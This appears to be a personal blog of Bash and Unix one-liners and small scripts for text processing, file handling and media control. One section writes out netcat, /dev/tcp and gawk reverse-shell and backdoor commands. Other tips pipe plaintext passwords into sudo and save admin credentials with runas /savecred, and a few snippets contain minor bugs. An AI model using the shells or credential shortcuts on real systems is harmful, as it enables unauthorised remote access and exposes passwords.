List file type counts in a directory based on file ext

   ### print counts of all file types in a directory based on file extension

alias lsx='ls -f1 | sed "s/\(.*\)\.\(.*\)/\2/" | sort | uniq -c | sort -n'

Figure out what command your running w/: command -V

$ command -V echo
echo is a shell builtin
$ command -V /bin/echo
/bin/echo is /bin/echo
$ command -V ls
ls is aliased to `ls --color=auto'

Fastest Way to Count Files in Dir: ls -f1 | wc -l

$ time set -- *; echo $#         $ time ls | wc -l
real    0m0.715s                    25878                  
user    0m0.678s                  real   0m0.198s 
sys    0m0.010s                   user   0m0.159s
25870                                  sys    0m0.013s

$ time ls -1f | wc -l 
25878                   
real    0m0.045s   
user    0m0.016s  
sys    0m0.007s    
This option is the clear winner, without sorting -f and the -1 for 1 entry per line is what most *nix's will have ls provide to a pipe yet it is better to be explicit.  

Bash Dynamic Brace Expansion w/Eval & w/o * files -- shopt -s nullglob

If you don't turn the Bash shell option nullglob on you will get *'s for the extensions you want to process.
$BRACES="{jp3g,jp4eg,g2if}"  
$ for a in $(eval "echo *${BRACES}"); do echo $a; done
*jp3g *jp4eg *g2if
$ shopt -s nullglob
$ for a in $(eval "echo *${BRACES}"); do echo $a; done
$
Voila, no more expansion to non-existent file names!

Simple Bash Function/Script to Convert Numbers to Strings e.g. 45 => Forty Five

Begin num2str.bsh :
(Thanks to logic I found somewhere on the internet in a file entitled NumberWordConverter.java - I can't recall exactly where I found it since I have since had problem with my browser and wiped the history out - I only converted it to Bash)   

#!/usr/bin/env bash

declare -a units=("" "one" "two" "three" "four" "five" "six" "seven" \
            "eight" "nine" "ten" "eleven" "twelve" "thirteen" "fourteen" \
            "fifteen" "sixteen" "seventeen" "eighteen" "nineteen")
declare -a tens=("" "" "twenty" "thirty" "forty" "fifty" "sixty" "seventy" "eighty" "ninety")

function convert() {
declare -i INTEGER=$1
 if (($INTEGER < 0)); then
   echo -en "minus "
   convert $(($INTEGER*-1))
elif (($INTEGER < 20)); then
   echo -en ${units[$INTEGER]}
elif (($INTEGER < 100)); then
   echo -en ${tens[$(($INTEGER/10))]} 
   (($INTEGER%10)) && echo -en " "
   echo -en ${units[$(($INTEGER%10))]}
elif (($INTEGER < 1000)); then
   echo -en "${units[$(($INTEGER/100))]} hundred"
   (($INTEGER%100)) && echo -en " "
   convert $(($INTEGER%100))
elif (($INTEGER < 1000000)); then
   convert $(($INTEGER/1000))
   echo -en " thousand"
   (($INTEGER%1000)) && echo -en " "
   convert $(($INTEGER%1000))
elif (($INTEGER < 1000000000)); then
   convert $(($INTEGER/1000000))
   echo -en " million"
   (($INTEGER%1000)) && echo -en " "
   convert $(($INTEGER%1000000))
else
   convert $(($INTEGER/1000000000))
   echo -en " billion"
   (($INTEGER%1000000000)) && echo -en " "
   convert $(($INTEGER%1000000000))
fi
}
convert $1
echo 

$ num2str.bsh 4541
four thousand five hundred forty one
$ num2str.bsh 45414
forty five thousand four hundred fourteen
$ num2str.bsh 4541443
four million five hundred forty one thousand four hundred forty three

Quick Anagramatic Glob * Exception e.g. *[^host]*

/var$ ls
backups  cache  host  lib  local  lock  log  mail  opt  run  spool  tmp

/var$ ls -d *[^osht]*
backups  cache  lib  local  lock  log  mail  opt  run  spool  tmp

Of course this approach fails if you have an anagram so it should never be used for coding something serious. Yet its useful enough when you want to narrow something down when playing around or if you know for sure that you don't have anagrams to worry about.

e.g. ls -d /tmp/*[^.txt]  will list all the files without the .txt extension
e.g. ls -d /tmp/*[^.xtt]  does the same.. so be careful =)

Also if you don't mind playing with shell options you can more simply set the extglob option, yet I don't really recommend shoptions much since you can easily forget that your env is different and they tend to make things unpredictable and less portable (e.g. leaning tower of babel).

/var$ shopt -s extglob
/var$ ls -d !(host)
backups  cache  lib  local  lock  log  mail  opt  run  spool  tmp

Bash Unset Readonly Variable - Hack

Found on the web at: 

(http://stackoverflow.com/questions/17397069/unset-readonly-variable-in-bash)  

E.g. Accidentally a READONLY variable is declared at Bash shell prompt

Here is the test script commands:   

declare -r RESTORE_BASHNOCASEMATCH="$(shopt -p nocasematch)"
echo "$RESTORE_BASHNOCASEMATCH"
unset RESTORE_BASHNOCASEMATCH
cat << EOF | sudo gdb -silent
attach $$
call unbind_variable("RESTORE_BASHNOCASEMATCH")
detach
EOF
echo "$RESTORE_BASHNOCASEMATCH"
unset RESTORE_BASHNOCASEMATCH 

Here is the result:   

$ declare -r RESTORE_BASHNOCASEMATCH="$(shopt -p nocasematch)"
$ echo "$RESTORE_BASHNOCASEMATCH"
shopt -u nocasematch
$ unset RESTORE_BASHNOCASEMATCH
bash: unset: RESTORE_BASHNOCASEMATCH: cannot unset: readonly variable
$ cat << EOF | sudo gdb -silent
> attach $$
> call unbind_variable("RESTORE_BASHNOCASEMATCH")
> detach
> EOF
(gdb) Attaching to process 5207
Reading symbols from /bin/bash...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libtinfo.so.5...(no debugging symbols found)...done.
 .... 
(gdb) Detaching from program: /bin/bash, process 5207
(gdb) quit 

$ echo "$RESTORE_BASHNOCASEMATCH"
$ unset RESTORE_BASHNOCASEMATCH
$  

No more errors, it was a success! 

Emulate banner via figlet

alias mybanner='_(){ [[ $# -lt 3 ]] && echo "Usage: mybanner <chr> <string>"; TRCHR=$1; shift; figlet -f banner "$*" | tr "#" "$TRCHR"; }; _'

(figlet - Frank, Ian & Glenn's Letters - figlet can be installed via apt-get install figlet)

Ways to Replace Multiple Spaces in Text (Awk,Sed,tr)

The awk way:  

$ cat file.txt | awk '{gsub("[ ]+"," ");print}' 

The tr way:

$ cat file.txt | tr -s " " 

where -s stands for squeeze and can be used on any character not only spaces

The sed way: 

$ cat file | sed -r 's/[ ]+/ /g'

Skip Variables in Awk (like shift in Bash except nonsequential)

All you need to do is set the variable to null and they disappear!

$ echo a b c d e f g | awk '{$1="";$3="";print}' 
b  d e f g

Using Kill To Signal a Process By Name / Taming CRAS

Sometimes CRAS (Chromium [OS] Audio Server) runs up the CPU to 100% sometimes even over 100% - if you send the hangup signal, that should save you trouble of needing to reboot:

$ kill -SIGHUP $(read a _< <(ps -eo pid,comm | grep -i cras); echo $a)

(similar to killall -r '.*[cC][Rr][aA][sS].*' -s SIGHUP )

or you can kill bash shell script sub processes like this: 

$ kill -SIGHUP $(ps -ejH | awk '!/bash/{ if ($2 ~ <process gid>) print $1}')

Rename directories that have special characters

while read a; do TMP="$a"; for b in {1..50}; do TMP=$(echo "$TMP" | sed "s/[^0-9A-Za-z]/$(($RANDOM%10))/"); done; mv "$a" "$TMP"; done < <(find . ! -path . -type d -printf "%f\n")

Simple Javascript

Selection: --- Select --- Reversal Reversal spin 1 Reversal spin 2 Reversal spin 3 Reversal spin 4 Reversal spin 5

Enter text:

Using Bash and Sed for Quick String Manipulations

To print the first string starting with an _  :

$ tmp="ffuts erom dna erom _this and _that _is here ___okay"

## Mark the first string for extraction, then use sed to grab it and remove the marker
$ echo "${tmp2/ _/ XXX_}" | sed 's/.*\(.*XXX[^ ]*\).*/\1/;s/XXX//'

Dynamically building AWK statements w/eval

E.g. This will sum the column entries entered on the command line

#!/bin/bash
eval "awk '{print $(echo "${*:2}" | sed -r 's/\b[0-9]*\b/\$&+/g;s/\+$//')}' $1" 

E.g. cat num.txt
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1
5 4 3 2 1

$>my.awk num.txt 2 3
7
7
7
7
7
7
7
7
7
7 

Sed to modify every 1st and 3rd occurrence

sed 'H;$!d;x;:a;s/word/MATCH/1;s/word/IGNORE/1;s/word/MATCH/1;t a;s/MATCH/words/g;s/IGNORE/word/g' file

Okay, this may seem complicated at first but its simple - this copies all the text into the Hold space, after that it uses a 3 pattern first occurence match to modify the looked for text (word) with a substitute constant (to avoid reprocessing) then loops (t a) back to the label (:a) until the whole file is processed afterward it replaces the substitute constants.

You can use whatever substitute constants (MATCH,IGNORE) you want if those are problem for your data.

Markup tag stripping w/ SED

<?xml version="1.0" encoding="UTF-8" ?>
<Attributes>
   <Attribute>123</Attribute>
   <Attribute>959595</Attribute>
   <Attribute>1233</Attribute>
   <Attribute>jiji</Attribute>
</Attributes> 

To pull the second attribute:  

sed -n '/<Attributes>/,\#</Attributes>#{/<Attribute>/{

 n;s#.*<Attribute>\(.*\)</Attribute>.*#\1#;p;q};}'
 

Process Multivariables w/ read and a while Loop

To process data that requires you to pull multiple segments into variables, instead of a nested for loop or additional statements that would be clumsy and "awkward" (in a non-awk way) you can use a while loop and break the data into fields using awk or cut or your favorite method and read the data straight into variables:      

while read a b; do ((! $(grep -c "$a.*$b" File2.txt))) && (echo "$a $b" >> missing_pkgs.txt); done < <(awk '/>=/{ print $1" "$3 }' File1.txt)

Using Immediate documents (cat << EOF) to avoid shell quoting problems

If you want to add an entry to an alias file you normally have to jump through hoops to get the quoting properly, much easier with an immediate document since you can type the way would if editing the document itself:

cat <<EOF >> myaliases.bsh
alias go2usb='cd "/var/host/media/removable/USB Drive/"'
EOF

Loop on tail -f for dynamic processing

Lets say you get some interesting files:

for a in {000001..249510}; do wget --random-wait -U "Mozilla/5.0 (Windows NT 5.1; rv:10.0.1)" "http://oeis.org/A$a"; done

then you suspect you missed a few... 

You can open a terminal window (or background) this: 

for a in {000001..249510}; do ((! $(grep -c A$a files.txt))) && (echo $a >> missing_files.txt); done

... and since it will take a while in a new terminal you can "Loop on tail -f for dynamic processing"

tail -f missing_files.txt | while read a; do wget --random-wait -U "Mozilla/5.1 (Windows NT 5.0; rv:10.0.2)" "http://oeis.org/A$a"; done

Python one liner to get next ascii char

python -c "print unichr($(echo "$(ascii -st $1 | awk '{print $2}') + 1" | bc))"

Search RAR archives with grep

ls *.rar | xargs -t -I {} rar lf {}  | grep -i <something youre looking for>

The -t option to xargs announces the command line that it is processing (in this case which rar file), and the rar lf lists the files in the rar archive.

Quick webserver w/ netcat

{ echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < <(ls))\r\n\r\n"; cat <(ls); } | nc -l 8080

You can replace <(ls) with whatever script or file to display or command to 

execute that you like 

http://192.168.1.<your ip>:8080  

(Thanks to https://kb.ip-connect.de/index.php?id=422 for the tip)

Or.. if you want to execute a command upon visiting the website url: 

{ echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < <(ls))\r\n\r\n"; cat <(ls); } | nc -l 8080 && <command>

Nc definition of a word from dict.org

$ echo "define wn hello" | nc dict.org 2628
220 pan.alephnull.com dictd 1.12.1/rf on Linux 3.14-1-amd64 <auth.mime> <4420661.15757.1410721786@pan.alephnull.com>
150 1 definitions retrieved
151 "hello" wn "WordNet (r) 3.0 (2006)"
hello
    n 1: an expression of greeting; "every morning they exchanged
         polite hellos" [syn: {hello}, {hullo}, {hi}, {howdy}, {how-
         do-you-do}]
.
250 ok [d/m/c = 1/0/16; 0.000r 0.000u 0.000s]

Pass variables by reference in Bash

function dref() { echo $(eval expr \"\$$1\"); };

$ dref  PATH
/usr/local/bin:/usr/bin:...

Bash recursive subtraction function

#!/usr/bin/env bash

#recursive subtract, arg1 - arg2
function f_r_s() {
if [[ $1 -eq $2 ]]; then
 echo 0; 
elif [[ $1 -gt $2 ]]; then
 echo "1 + $(f_r_s $(echo "$1 - 1"|bc) $2)" | bc;
else
  echo "f_r_s(), reverse the args and try again";
fi;
} 

One liner to parse parenthesized statements

msgbox: 

//messagebox("ñ",string(asc("ñ")))
//messagebox("Ñ",string(asc("Ñ")))
//messagebox("ñ",string(char(241)))

messagebox("Hi")

IF Trim(sle_user_id.text) = "" AND Trim(sle_password.text) = "" THEN
    MessageBox(Titulo_Msg,&
              "Sr Usuario :~r~nDebe ingresar los datos solicitados.",StopSign!,Ok!)
    sle_user_id.SetFocus()
    Return
End If

IFS=$(echo -en "\n\b") && for a in $(grep '[Mm]essage[Bb]ox' msgbox); do echo $a$((($(echo "$a" | grep -o '[()]' | wc -w)%2)) && sed -n "/$a/{n;p;}" msgbox) | perl -lne '{@mystr=$_=~m/\((?>[^()]|(?R))*\)/g; print "@mystr\n" if $_ =~ m/\((?>[^()]|(?R))*\)/g; }' | sed 's/^(\(.*\))$/\1/g';done && unset IFS

Output is:
"ñ",string(asc("ñ"))
"Ñ",string(asc("Ñ"))
"ñ",string(char(241))
"Hi"
Titulo_Msg,& "Sr Usuario :~r~nDebe ingresar los datos solicitados.",StopSign!,Ok!

sed -n '/x(/,/)$/{s/.*x(//;s/)$//p}' msgbox_file.txt

Output: 
"ñ",string(asc("ñ"))
"Ñ",string(asc("Ñ"))
"ñ",string(char(241))

"Hi"
Titulo_Msg,&
   "Sr Usuario :~r~nDebe ingresar los datos solicitados.",StopSign!,Ok! 

Diff 2 files for missing lines out of sequence

cat <(grep -x -v -F -f file2 -- <((grep -x -v -F -f file1 -- file2) >> file1;cat file1)) >> file2 

## reports any lines contained in <file 1> missing in <file 2>  
IFS=$(echo -en "\n\b") && for a in $(cat <file 1>); do ((\!$(grep -F -c -- "$a" <file 2>))) && echo $a; done && unset IFS

#!/usr/bin/env bash
if [[ $# -eq 2 ]]; then
## reports any lines contained in <file 1> missing in <file 2>  
IFS=$(echo -en "\n\b") && for a in $(cat "$1"); do ((\!$(grep -F -c -- "$a" "$2"))) && echo $a; done && unset IFS
elif [[ $# -eq 3 ]]; then
IFS=$(echo -en "\n\b") && for a in $(cat "$1"); do b=$(echo "$a" | sed "s/\(.\{$3\}\)\(.*\)/\1/");((\!$(grep -F -c -- "$b" "$2"))) && echo $a; done && unset IFS
elif [[ $# -eq 4 ]]; then
 TMPFILE1="/tmp/_lgd_$$_f1.txt"
 TMPFILE2="/tmp/_lgd_$$_f2.txt"
 (IFS=$(echo -en "\n\b") && for a in $(cat "$1"); do b=$(echo "$a" | sed "s/\(.\{$3\}\)\(.*\)/\1/");((\!$(grep -F -c -- "$b" "$2"))) && echo $a; done && unset IFS) >> "$TMPFILE1"
 cat "$TMPFILE1" >> "$2"
 (IFS=$(echo -en "\n\b") && for a in $(cat "$2"); do b=$(echo "$a" | sed "s/\(.\{$3\}\)\(.*\)/\1/");((\!$(grep -F -c -- "$b" "$1"))) && echo $a; done && unset IFS) >> "$TMPFILE2"
 cat "$TMPFILE2" >> "$1"
 rm "$TMPFILE1" "$TMPFILE2"
else
cat <<EOF
  Lgd: line grep diff, finds all the strings in file1 missing from file2 and optionally
       limits the grep search to the first # of chars
  Usage: lgd.bsh <file1> <file2> <chars> <flag sync both files>
   E.g. lgd.bsh  myaliases.bsh /tmp/old_myaliases.bsh 11 syncit          
          lgd.bsh  oldlegalclauses.txt newlegalclauses.txt 500 syncit 
EOF
fi 

Passing command line args to bash alias

alias digq='_(){ dig +short txt "$1".wp.dg.cx; }; _'

this reports a quick description of whatever is queried

$ digq cray
"Cray Inc. is an American supercomputer manufacturer based in Seattle, Washington. The company's predecessor, Cray Research, Inc. (CRI), was founded in 1972 by computer designer Seymour Cray. Seymour Cray went on to form the spin-off Cray Computer Corporat" "ion (CCC), in 1989, which went bankrupt in 1995, while Cray Research was bought by SGI the next year... http://en.wikipedia.org/wiki/Cray"

Using find to sort by last access time

$ find . -printf '%A@ %p %A+\n' | sort -k1 -nr | cut -d ' ' -f2- | tac

Print numbers w/ certain number of digits w/Sed

$echo -en "100\n10000\n34934\n3432\n" 
100
10000
34934
3432
put one less than the number of digits you want for the ending sequence:
$ echo -en "100\n10000\n34934\n3432\n" | sed -n '/^[0-9]\{1,2\}.$/p'
100
$ echo -en "100\n10000\n34934\n3432\n" | sed -n '/^[0-9]\{1,3\}.$/p'
100
3432
or if you only want 4 digits:
$ echo -en "100\n10000\n34934\n3432\n" | sed -n '/^[0-9]\{3\}.$/p'
3432
$ echo -en "100\n10000\n34934\n3432\n" | sed -n '/^[0-9]\{1,4\}.$/p'
100
10000
34934
3432

Find and sort files by size in human readable format

find /tmp -maxdepth 10 -size +100000 -exec du -sh {} \; 2>/dev/null | sort -n -k 1
55M    /tmp/wolf/Sleep Music _ 1h of Wolf Relaxing Sounds _ Sounds Sleep Music #1-ArFicwCRupU.mp3
56M    /tmp/wolf/☽ Night Sounds with Wolves and Fire-KfkqfhN2tjA.mp3
127M    /tmp/wolf/☽ Night Sounds with Wolves and Fire-KfkqfhN2tjA.mp4
174M    /tmp/wolf/Sleep Music _ 1h of Wolf Relaxing Sounds _ Sounds Sleep Music #1-ArFicwCRupU.mp4
290M    /tmp/wolf/4hr Thunderstorm with No Loops 'Sleep Sounds'-ywBxqqpyfOc.mp4.part 
or if you want, w/+ append is marginally quicker if you dont run out of resources

find / -maxdepth 10 -size +100000 -exec du -sh {} + 2>/dev/null | sort -n -k 1

Mingle multiple files with awk

$ echo -en {a..i}"\n"|sed 's/^[a-z]/ &/g;s/./& & & &/g'>file1;cat file1
       a a a a
       b b b b
       c c c c
       d d d d
       e e e e
       f f f f
       g g g g
       h h h h
       i i i i

$ echo -en {9..1}"\n"|sed 's/^[0-9]/ &/g;s/./& & & &/g'>file2;cat file2
       9 9 9 9
       8 8 8 8
       7 7 7 7
       6 6 6 6
       5 5 5 5
       4 4 4 4
       3 3 3 3
       2 2 2 2
       1 1 1 1

$ awk 'FNR==NR {a[FNR]=$0; next}{print a[FNR]"\n"$0}' file1 file2 

       a a a a
       9 9 9 9
       b b b b
       8 8 8 8
       c c c c
       7 7 7 7
       d d d d
       6 6 6 6
       e e e e
       5 5 5 5
       f f f f
       4 4 4 4
       g g g g
       3 3 3 3
       h h h h
       2 2 2 2
       i i i i
       1 1 1 1

$ awk 'FNR==NR {a[FNR]=$0; next}{print a[FNR] $0}' file1 file2 

       a a a a       9 9 9 9
       b b b b       8 8 8 8
       c c c c       7 7 7 7
       d d d d       6 6 6 6
       e e e e       5 5 5 5
       f f f f       4 4 4 4
       g g g g       3 3 3 3
       h h h h       2 2 2 2
       i i i i       1 1 1 1 

or for three or more files:  

$ awk 'FILENAME==ARGV[1]{a[FNR]=$0;next}FILENAME==ARGV[2]{b[FNR]=$0;next}FILENAME==ARGV[3]{print a[FNR] b[FNR] $0}' file1 file2 file3

       a a a a       9 9 9 9       1 1 1 1
       b b b b       8 8 8 8       2 2 2 2
       c c c c       7 7 7 7       3 3 3 3
       d d d d       6 6 6 6       4 4 4 4
       e e e e       5 5 5 5       5 5 5 5
       f f f f       4 4 4 4       6 6 6 6
       g g g g       3 3 3 3       7 7 7 7
       h h h h       2 2 2 2       8 8 8 8
       i i i i       1 1 1 1       9 9 9 9

 of course if thats all you need you could use: 

$ paste file1 file2 file3 

       a a a a        9 9 9 9        1 1 1 1
       b b b b        8 8 8 8        2 2 2 2
       c c c c        7 7 7 7        3 3 3 3
       d d d d        6 6 6 6        4 4 4 4
       e e e e        5 5 5 5        5 5 5 5
       f f f f        4 4 4 4        6 6 6 6
       g g g g        3 3 3 3        7 7 7 7
       h h h h        2 2 2 2        8 8 8 8
       i i i i        1 1 1 1        9 9 9 9

yet the awk way gives much more flexibility and possibilities  

Find & grep file name then grep file

find ~ -name '*alias*' -exec grep wget {} \;

Probably not as efficient yet a bit easier on my brain is the command substitution way: 

grep wget $(find ~ | grep alias)

Using mountpoint to check if a filesystem is mounted before doing something else

I use this to check to see if my reformatted usb mp3 player is mounted (improperly), and if so then remount the partition I want:

alias usbmp3='mountpoint -q /mnt/pt/sdb && ((\!$?)) && $(echo <password> | sudo -S umount /dev/sdb;echo <password> | sudo -S mount /dev/sdb1 /var/host/media/removable/USB\ Drive/;cd /var/host/media/removable/USB\ Drive/) || echo "/dev/sdb not mounted"'

Bash IPC made easy with coproc

Source: http://unix.stackexchange.com/questions/86270/how-do-you-use-the-command-coproc-in-bash

$ coproc awk '{print $1 $2 $3;fflush();}'

$ echo one two three >&${COPROC[1]}

$ read -ru ${COPROC[0]} var1 var2 var3
$ echo "$var1 $var2 $var3"

one two three

$ kill $COPROC_PID 

Process substitution and redirection captured into variables

$ free
                      total           used       free     shared     buffers    cached
Mem:       1923164    1742180     180984          0      13912      88384
-/+ buffers/cache:    1639884     283280
Swap:      2817132    1786860    1030272

$ read mem total used free shared buffers cached < <(free | tail -3)

$ echo $mem $total $used $free $shared $buffers $cached
Mem: 1923164 1742180 180984 0 13912 88384

Enumerate ls and perform ops by listing index number

(precise)root@localhost:~# ls | cat -n
     1    chrome_touchpad
     2    Desktop
     3    Documents
     4    Downloads
     5    Music
     6    Pictures
     7    Public
     8    Templates
     9    Videos

(precise)root@localhost:~# ls | sed -n '3p;8p' | xargs stat
  File: `Documents'
  Size: 4096          Blocks: 8          IO Block: 4096   directory
Device: 801h/2049d    Inode: 130070      Links: 2
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2014-07-18 21:30:27.929137260 -0400
Modify: 2014-05-19 11:40:05.358916751 -0400
Change: 2014-05-19 11:40:05.358916751 -0400
 Birth: -
  File: `Templates'
  Size: 4096          Blocks: 8          IO Block: 4096   directory
Device: 801h/2049d    Inode: 13769       Links: 2
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2014-07-18 21:30:27.961137260 -0400
Modify: 2014-05-19 11:40:05.358916751 -0400
Change: 2014-05-19 11:40:05.358916751 -0400
 Birth: -

Horse racing!! =)

Cool script I found at http://www.tldp.org/LDP/abs/html/colorizing.html, I only had to change it slightly to use sleepenh instead of usleep since my system doesn't have usleep (sudo apt-get install sleepenh if you don't have it).

Expansions and contractions

for a in $(eval echo "{1..$(($RANDOM%50))}"); do SUB=\ ;for b in $(eval echo "{1..$(($RANDOM%10))}"); do SUB="$SUB\ "; echo "expansions and contractions of morals and ethics follow the ebb and flow of first order thievery" | sed "s/./&$SUB/g;G"; done; sleep 1; done

Generic ls loop to perform action on specific files

lsdo.bsh:  
#!/usr/bin/env bash

function usage {
cat <<  EOF
Usage: lsdo [LSDIR: ls -tr directory] [FILTER: eg. "tail -8"] [DOCMD: eg. cp "EACH" .]
  Eg. lsdo . "tail -5 | grep -i mp3" "stat EACH" 
EOF
}
 
LSDIR=${1:-"/tmp"}
FILTER=${2:-tail -8}
DOCMD=${3:-echo \"\$LSDIR/\$a\"}

[[ $# -eq 0 ]] && usage && exit 0
 
IFS=$(echo -en "\n\b") && for a in $(ls -tr "$LSDIR" | eval $FILTER); do eval $(echo "$DOCMD" | sed 's/EACH/\"\$LSDIR\/\$a\"/g');  done && unset IFS

$ lsdo.bsh . "tail -5"
./gawk_rev_sh.bsh
./mp42mp3.bsh
./grace_kill_win.bsh
./myaliases.bsh
./lsdo.bsh
 $ lsdo.bsh . "tail -5 | grep -i mp3"
./mp42mp3.bsh 
$ lsdo.bsh . "tail -5 | grep -i mp3" "stat EACH"  
 File: `./mp42mp3.bsh'
 Size: 1058          Blocks: 24         IO Block: 4096   regular file
Device: 19h/25d    Inode: 259872      Links: 1
Access: (0775/-rwxrwxr-x)  Uid: ( 1000/cronkilla)   Gid: ( 1000/cronkilla)
Access: 2014-07-22 20:26:29.880524398 -0400
Modify: 2014-07-10 17:32:52.207333868 -0400
Change: 2014-07-10 17:32:52.216333868 -0400
 Birth: -

Start Windows commands w/ admin privileges without a password

First start any command with runas and admin privileges

runas /savecred /user:<user w/admin privs>  <command to run>

E.g. 
runas /savecred /user:root cmd.exe 

It will prompt for a password so enter it, yet after that the credentials are saved so any command can be run without entering a password:

runas /savecred /user:root taskkill /f /im cmd.exe /t

no password necessary!

Create a Reverse Shell via Netcat

On the shell receiving side:
nc -l 80

On the shell sending side:
nc <receiving machine ip> 80 -e <command e.g. bash>

If there is no -e option for your netcat:
unlink pipe; mkfifo pipe && nc <your ip> 80 <pipe | <command e.g. bash> &>pipe; unlink pipe

Weird effect is you can mirror the shell sending side output remotely, you need to control still from shell sending side and you wont see anything echoed only the shell receiving side will see it: On the shell sending side:
bash -i >& /dev/tcp/<receiving machine ip>/80

Or if there is no netcat on the receiving side you can use gawk:
Source: http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122387

gawk_rev_sh.awk: 
#!/usr/bin/gawk -f

BEGIN {
        Port    =       80
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

After you can connect via
nc <receiving machine ip> 80

bkd> 

Other good ideas about reverse shells here: 
http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html

Convert all MP4 files to MP3 via avconv

IFS=$'\n' && for a in $(find . -maxdepth 1 -name "*.mp4" -type f -printf "%f\n" | rev | cut -d '.' -f2- | rev | sort -u); do if [ ! -f "$a.mp3" ]; then  avconv -i "$a."* -vn  -ab 128 "$a.mp3"; fi done && unset IFS
 
This may look a little strange but I wrote it originally to handle any type of file, it flips the filename around with rev and then cuts the first field off, this handles files with multiple "."'s such as

my.fav.music.mp4

and if you clip off the -name "*.mp4" it will try to convert every file in the directory to an mp3 if an mp3 doesn't already exist for it

Execute sudo without entering password

echo <your password> | sudo -S <your command>

List and Sort Large Files via find

This will recursively find all files larger than 10MB with the largest files listed last (closest to prompt):

find . -size +10M -printf "%s %f\n" | sort -n -k 1

List Deleted yet Open files via lsof +L1

lsof +L1

Delete empty files via find

find . -size 0 -exec rm {} \;

Recursively Spider Website via wget

This will spider a website on a specific URL going down no more than 2 levels deep staying on the target URL end point:

wget -np -r -nH --cut-dirs=2 -U "Mozilla/5.0 (Windows NT 5.1; rv:10.0.2)" -l 0 -p http://docstore.mik.ua/orelly/unix2.1/sedawk/

Change the URL to whatever you want

Control VLC via DBUS

Start vlc with --control dbus:  
vlc --control dbus

Toggle play/pause on VLC:
qdbus org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2  org.mpris.MediaPlayer2.Player.PlayPause

Remove last track from playlist (requires previous alias):
alias rmvlc='qdbus org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.TrackList.RemoveTrack $(qdbus --literal org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.TrackList.Tracks | sed "s/\(.*{.*: \)\(.*\)\(]}]*\)/\2/")'

Clear entire track list:
alias clvlc='for a in {1..50}; do rmvlc; done 2>/dev/null' 

Instead of PlayPause you can call any of the MediaPlayer2 methods:
$> qdbus org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2

method QString org.freedesktop.DBus.Introspectable.Introspect()
method QDBusVariant org.freedesktop.DBus.Properties.Get(QString, QString)
signal void org.freedesktop.DBus.Properties.PropertiesChanged(QString, QVariantMap, QStringList)
method void org.freedesktop.DBus.Properties.Set(QString, QString, QDBusVariant)
property read bool org.mpris.MediaPlayer2.CanQuit
property read bool org.mpris.MediaPlayer2.CanRaise
property read QString org.mpris.MediaPlayer2.DesktopEntry
property read bool org.mpris.MediaPlayer2.HasTrackList
property read QString org.mpris.MediaPlayer2.Identity
property read QStringList org.mpris.MediaPlayer2.SupportedMimeTypes
property read QStringList org.mpris.MediaPlayer2.SupportedUriSchemes
method void org.mpris.MediaPlayer2.Quit()
method void org.mpris.MediaPlayer2.Raise()
property read bool org.mpris.MediaPlayer2.Player.CanControl
property read bool org.mpris.MediaPlayer2.Player.CanPause
property read bool org.mpris.MediaPlayer2.Player.CanPlay
property read bool org.mpris.MediaPlayer2.Player.CanSeek
property readwrite QString org.mpris.MediaPlayer2.Player.LoopStatus
property readwrite double org.mpris.MediaPlayer2.Player.MaximumRate
property read QVariantMap org.mpris.MediaPlayer2.Player.Metadata
property readwrite double org.mpris.MediaPlayer2.Player.MinimumRate
property read QString org.mpris.MediaPlayer2.Player.PlaybackStatus
property read int org.mpris.MediaPlayer2.Player.Position
property readwrite double org.mpris.MediaPlayer2.Player.Rate
property readwrite double org.mpris.MediaPlayer2.Player.Shuffle
property readwrite double org.mpris.MediaPlayer2.Player.Volume
method void org.mpris.MediaPlayer2.Player.Next()
method void org.mpris.MediaPlayer2.Player.OpenUri(QString)
method void org.mpris.MediaPlayer2.Player.Pause()
method void org.mpris.MediaPlayer2.Player.Play()
method void org.mpris.MediaPlayer2.Player.PlayPause()
method void org.mpris.MediaPlayer2.Player.Previous()
method void org.mpris.MediaPlayer2.Player.Seek(qlonglong)
method void org.mpris.MediaPlayer2.Player.SetPosition(QDBusObjectPath, qlonglong)
method void org.mpris.MediaPlayer2.Player.Stop()
property read bool org.mpris.MediaPlayer2.TrackList.CanEditTracks
property read QList<QDBusObjectPath> org.mpris.MediaPlayer2.TrackList.Tracks
method void org.mpris.MediaPlayer2.TrackList.AddTrack(QString, QDBusObjectPath, bool)
method QDBusRawType::aa{sv} org.mpris.MediaPlayer2.TrackList.GetTracksMetadata(QList<QDBusObjectPath>)
method void org.mpris.MediaPlayer2.TrackList.GoTo(QDBusObjectPath)
method void org.mpris.MediaPlayer2.TrackList.RemoveTrack(QDBusObjectPath)
signal void org.mpris.MediaPlayer2.TrackList.TrackAdded(QVariantMap, QDBusObjectPath)
signal void org.mpris.MediaPlayer2.TrackList.TrackListReplaced(QList<QDBusObjectPath>, QDBusObjectPath)
signal void org.mpris.MediaPlayer2.TrackList.TrackMetadataChanged(QDBusObjectPath, QVariantMap)
signal void org.mpris.MediaPlayer2.TrackList.TrackRemoved(QDBusObjectPath)

# list media files with line numbers
alias lsn='ls -tr | cat -n |more'

# add tracks by line number
alias advlc='_(){ lsdo.bsh "$(pwd)" "sed -n $1" "qdbus org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2  org.mpris.MediaPlayer2.TrackList.AddTrack \"file://EACH\" /org/mpris/MediaPlayer2 false"; }; _ 1>/dev/null'

E.g.
